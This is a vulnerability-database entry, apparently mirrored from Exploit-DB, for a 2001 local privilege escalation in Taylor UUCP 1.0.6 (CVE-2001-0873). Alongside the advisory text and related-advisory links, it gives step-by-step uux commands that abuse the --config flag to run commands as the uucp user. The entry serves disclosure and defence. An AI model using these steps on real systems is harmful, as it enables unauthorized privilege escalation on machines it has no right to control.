Lucene search
+L

Taylor UUCP 1.0.6 - Argument Handling Privilege Escalation

🗓️ 08 Sep 2001 00:00:00Reported by zen-parseType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 45 Views

Taylor UUCP 1.0.6 allows local users to gain elevated privileges through mishandling of config files.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Debian GNU/Linux Local Compromise Data Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Red Hat Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2001-0873
2 Apr 200305:00
–cve
cvelist
Cvelist
CVE-2001-0873
2 Apr 200305:00
–cvelist
nessus
Tenable Nessus
Debian DSA-079-2 : uucp - uucp uid/gid access
29 Sep 200400:00
–nessus
euvd
EUVD
EUVD-2001-0856
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2001-0873
21 Dec 200105:00
–nvd
openvas
OpenVAS
Debian Security Advisory DSA 079-2 (uucp)
17 Jan 200800:00
–openvas
openvas
OpenVAS
Debian Security Advisory DSA 079-1 (uucp)
17 Jan 200800:00
–openvas
openvas
OpenVAS
Debian Security Advisory DSA 079-2 (uucp)
17 Jan 200800:00
–openvas
Rows per page
source: https://www.securityfocus.com/bid/3312/info

Taylor UUCP is an implementation of the UUCP package written originally by Ian Lance Taylor.

A problem has been discovered in Taylor UUCP that makes it possible for local users to gain elevated privileges. The problem is due to the handling of configuration files when passed to uucp via the --config flag. When uux receives a request to execute commands using a malicious --config file, the commands will be executed with the privileges of uuxqt, a setuid uucp daemon by default.

This makes it possible for a local user to gain elevated privileges, and could lead to a local user gaining administrative access.

uux 'uucp --config=/tmp/vv.v /tmp/somefile /tmp/someotherfile'

will use the supplied configuration, without dropping privileges.

1) Make a configuration file that allows any command to be executed, and allows files from anywhere to be copied to anywhere that is writable by uid/gid uucp. ( /tmp/config.uucp )
2) Make a command file with the command you want to be executed.
( /tmp/commands.uucp )
3) Do something like the following:

$ THISHOST=`uuname -l`
$ WHEREYOUWANTIT=/var/spool/uucp/${THISHOST}/X./X.${THISHOST}X1337
$ uux 'uucp --config=/tmp/config.uucp /tmp/commands.uucp '${WHEREYOUWANTIT}

The commands in /tmp/commands.uucp file will be executed by uuxqt, with the uid/gid of uucp.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01077
45